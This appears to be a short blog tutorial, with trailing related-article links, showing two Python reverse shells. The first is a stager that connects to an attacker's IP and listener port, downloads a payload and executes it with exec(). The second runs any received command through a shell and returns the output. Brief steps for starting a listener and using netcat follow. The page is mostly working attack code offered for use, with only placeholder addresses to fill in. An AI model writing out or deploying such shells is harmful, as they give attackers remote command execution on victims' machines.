import base64,sys;
import socket,struct
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('Attack's IP address',ListenerPort))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(d,{'s':s})
 

You can change the IP/DNS and listener port what you want.
Let's test it!
Simple python reverse shell

 

Start a listener:
Simple python reverse shell

 

Execute the shell:
Simple python reverse shell

 

 

I also found a reverse shell on the Intetnet.

#!/usr/bin/python
# imports here
import socket,subprocess
HOST = 'Attack's IP adress'
PORT = ListenerPort
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('[*] Connection Established!')
while 1:
    data = s.recv(1024)
    if data == "quit": break
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    stdout_value = proc.stdout.read() + proc.stderr.read()
    s.send(stdout_value)
s.close()

 

Simple python reverse shell

 

But this one can not listen by meterpreter
Simple python reverse shell

 

We can use the netcat to get a shell.
Simple python reverse shell

 

相关文章:

  • 2021-07-11
  • 2022-02-14
  • 2021-07-27
  • 2022-12-23
  • 2022-12-23
  • 2021-10-01
  • 2021-11-03
猜你喜欢
  • 2021-09-26
  • 2022-12-23
  • 2022-02-24
  • 2021-06-05
  • 2021-05-20
  • 2022-12-23
  • 2021-08-22
相关资源
相似解决方案